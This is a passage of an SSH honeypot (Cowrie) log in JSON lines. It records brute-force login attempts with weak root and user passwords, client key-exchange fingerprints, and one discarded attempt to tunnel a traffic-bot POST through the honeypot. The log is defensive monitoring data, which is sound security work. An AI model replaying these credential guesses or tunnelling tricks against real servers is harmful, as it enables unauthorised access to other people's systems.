h-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:00.674641Z","src_ip":"45.153.34.195","session":"1c72925abe7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jc123456","message":"login attempt [root/Jc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:01.153302Z","src_ip":"45.153.34.195","session":"1c72925abe7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:02.375212Z","src_ip":"45.153.34.195","session":"1c72925abe7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":22858,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfb4bab293d3","protocol":"ssh","message":"New connection: 45.153.34.195:22858 (10.17.0.5:22) [session: bfb4bab293d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:03.459301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:03.464422Z","src_ip":"45.153.34.195","session":"bfb4bab293d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:03.554121Z","src_ip":"45.153.34.195","session":"bfb4bab293d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":42494,"dst_ip":"159.203.135.109","dst_port":22,"session":"23c174529f3e","protocol":"ssh","message":"New connection: 103.82.132.16:42494 (159.203.135.109:22) [session: 23c174529f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:03.587083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:03.604215Z","src_ip":"103.82.132.16","session":"23c174529f3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"useruser","message":"login attempt [user/useruser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:03.849142Z","src_ip":"45.153.34.195","session":"bfb4bab293d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:03.872906Z","src_ip":"103.82.132.16","session":"23c174529f3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"030890","message":"login attempt [root/030890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:04.663342Z","src_ip":"103.82.132.16","session":"23c174529f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:04.939834Z","src_ip":"45.153.34.195","session":"bfb4bab293d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:05.931385Z","src_ip":"103.82.132.16","session":"23c174529f3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":22870,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ede7673441d","protocol":"ssh","message":"New connection: 45.153.34.195:22870 (10.17.0.5:22) [session: 3ede7673441d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:06.404038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:06.412942Z","src_ip":"45.153.34.195","session":"3ede7673441d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:06.508069Z","src_ip":"45.153.34.195","session":"3ede7673441d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":60548,"dst_ip":"159.203.135.109","dst_port":22,"session":"72c69f844b8d","protocol":"ssh","message":"New connection: 87.251.79.125:60548 (159.203.135.109:22) [session: 72c69f844b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:06.651561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:06.657776Z","src_ip":"87.251.79.125","session":"72c69f844b8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:06.727988Z","src_ip":"87.251.79.125","session":"72c69f844b8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"123","message":"login attempt [cloud/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:06.831270Z","src_ip":"45.153.34.195","session":"3ede7673441d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02111989","message":"login attempt [root/02111989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:06.938973Z","src_ip":"87.251.79.125","session":"72c69f844b8d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:07.442914Z","session":"63dc363fc545","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:07.480343Z","src_ip":"173.208.188.210","session":"63dc363fc545","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/9.1.2 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=JVZaQyVCcSNwbzN9VDlmYg%3D%3DkXPuA4PdI2oeTEttpqg%2BlRMsXKfoVP3fGl00yZIctbHKuS5PobP2q1mqKWZVtXt7Suuzjbq6A6nj%2BvfT5Fk8qXX7Er4mnVcsjxv2Dx1r5H3amVx0ghxl1AR9%2FQfvOIYnI79I%2F5lY2alcPMOYWIL9XkMRxeQkW%2B72zWX4ayiGMGpLv9wT%2FKfhfOICORtz4cefn7oTWmXs9OsRjHahmvL9u4cyI%2BQtyUcl3EjV9xS9FMv1CVAnRclo0hkCDI6FI55%2FdzOds6rRkkbCi6Zh13DZDxpEaFLZ3zPf%2BxJdS%2BkZjyvZbvlX%2BsgZYfsmFchQfgwHDQYz%2BMHjnUYBQWvd14h6zMJ5Z9mq2E1wkBKs9j5sDslT6ZTyPgbmLH1S4MjyZSKqkQKDM%2BRo%2B2E1gA1bPx6Dtceg8GCeLrYlHAeHXad5RiR2P9tBV4X%2BixFHZB8%2BKbMCh7%2FMv4lPPlJEOUxe3XbiFoQkfLBLjS4Bj4WynKxeW4cfxOVZu0ItCe9WZ4U9cF%2BQ8jLOiDcGKfDyxeNC0tCw3JCAr1740a6DquMRfDb4KGn72ZDhJouSOFkIjulAi51zdCAVMpl44PMmYSXK7ViqN0jNDxrvfZqlFYG7BnIhzKVQ2vvuk1awnwsoZBbtBafiskfjTImACkP2h%2F0mp8salSOkYgipMjejDs4GntLYW9gaDg1Vy8iqknYwPXRy%2B98xso7N6tlZJlHbMRjSizlRTZ2rWyrV0XxoagJ%2FGMst4pWESMOALVArCIllrRQn8Uj7ieY2RP8YqufTdyeyjJLtP42rYztDUS3yg%2Ffa57R%2B8AsuWquysQ8NiGFAbfABTPLIikrFPR8AJ%2BehJgm15upHPoMJ61a4ZgKjz%2BwFuD2ZL1QQNkQdqebL%2BNB2PPyyG1mcLtdIgW8kCzNjeVtxJJCd3n1svzkIo%2BXUoXdRTeM5lo5UgN8Xju7vNDa8UzR1mbql3%2Fcz4Q6lxKf4dJeY5az1CrBs2ltfhPrNmk4UYlCKaOCK%2BDnk6nxTz6bq8EugfKt2Dzey0xx8q4qTWx%2BzzEZz3BDGwnyOVwzchGvIG72tcSauJ2yQ2vgZufT9mA2qegMg'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/9.1.2 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=JVZaQyVCcSNwbzN9VDlmYg%3D%3DkXPuA4PdI2oeTEttpqg%2BlRMsXKfoVP3fGl00yZIctbHKuS5PobP2q1mqKWZVtXt7Suuzjbq6A6nj%2BvfT5Fk8qXX7Er4mnVcsjxv2Dx1r5H3amVx0ghxl1AR9%2FQfvOIYnI79I%2F5lY2alcPMOYWIL9XkMRxeQkW%2B72zWX4ayiGMGpLv9wT%2FKfhfOICORtz4cefn7oTWmXs9OsRjHahmvL9u4cyI%2BQtyUcl3EjV9xS9FMv1CVAnRclo0hkCDI6FI55%2FdzOds6rRkkbCi6Zh13DZDxpEaFLZ3zPf%2BxJdS%2BkZjyvZbvlX%2BsgZYfsmFchQfgwHDQYz%2BMHjnUYBQWvd14h6zMJ5Z9mq2E1wkBKs9j5sDslT6ZTyPgbmLH1S4MjyZSKqkQKDM%2BRo%2B2E1gA1bPx6Dtceg8GCeLrYlHAeHXad5RiR2P9tBV4X%2BixFHZB8%2BKbMCh7%2FMv4lPPlJEOUxe3XbiFoQkfLBLjS4Bj4WynKxeW4cfxOVZu0ItCe9WZ4U9cF%2BQ8jLOiDcGKfDyxeNC0tCw3JCAr1740a6DquMRfDb4KGn72ZDhJouSOFkIjulAi51zdCAVMpl44PMmYSXK7ViqN0jNDxrvfZqlFYG7BnIhzKVQ2vvuk1awnwsoZBbtBafiskfjTImACkP2h%2F0mp8salSOkYgipMjejDs4GntLYW9gaDg1Vy8iqknYwPXRy%2B98xso7N6tlZJlHbMRjSizlRTZ2rWyrV0XxoagJ%2FGMst4pWESMOALVArCIllrRQn8Uj7ieY2RP8YqufTdyeyjJLtP42rYztDUS3yg%2Ffa57R%2B8AsuWquysQ8NiGFAbfABTPLIikrFPR8AJ%2BehJgm15upHPoMJ61a4ZgKjz%2BwFuD2ZL1QQNkQdqebL%2BNB2PPyyG1mcLtdIgW8kCzNjeVtxJJCd3n1svzkIo%2BXUoXdRTeM5lo5UgN8Xju7vNDa8UzR1mbql3%2Fcz4Q6lxKf4dJeY5az1CrBs2ltfhPrNmk4UYlCKaOCK%2BDnk6nxTz6bq8EugfKt2Dzey0xx8q4qTWx%2BzzEZz3BDGwnyOVwzchGvIG72tcSauJ2yQ2vgZufT9mA2qegMg'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:07.484210Z","src_ip":"173.208.188.210","session":"63dc363fc545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:07.915190Z","src_ip":"45.153.34.195","session":"3ede7673441d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:08.011054Z","src_ip":"87.251.79.125","session":"72c69f844b8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":54796,"dst_ip":"159.203.135.109","dst_port":22,"session":"de6693c29f4b","protocol":"ssh","message":"New connection: 103.176.20.57:54796 (159.203.135.109:22) [session: de6693c29f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:08.066983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:08.071867Z","src_ip":"103.176.20.57","session":"de6693c29f4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:08.330945Z","src_ip":"103.176.20.57","session":"de6693c29f4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01111988","message":"login attempt [root/01111988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:09.105927Z","src_ip":"103.176.20.57","session":"de6693c29f4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":22886,"dst_ip":"10.17.0.5","dst_port":22,"session":"f52ed8d8fbd2","protocol":"ssh","message":"New connection: 45.153.34.195:22886 (10.17.0.5:22) [session: f52ed8d8fbd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:09.331899Z"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":50910,"dst_ip":"10.17.0.5","dst_port":22,"session":"74119bf706a3","protocol":"ssh","message":"New connection: 73.36.177.174:50910 (10.17.0.5:22) [session: 74119bf706a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:09.337078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:09.344584Z","src_ip":"73.36.177.174","session":"74119bf706a3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:09.378787Z","src_ip":"45.153.34.195","session":"f52ed8d8fbd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:09.386957Z","src_ip":"73.36.177.174","session":"74119bf706a3","protocol":"ssh"}
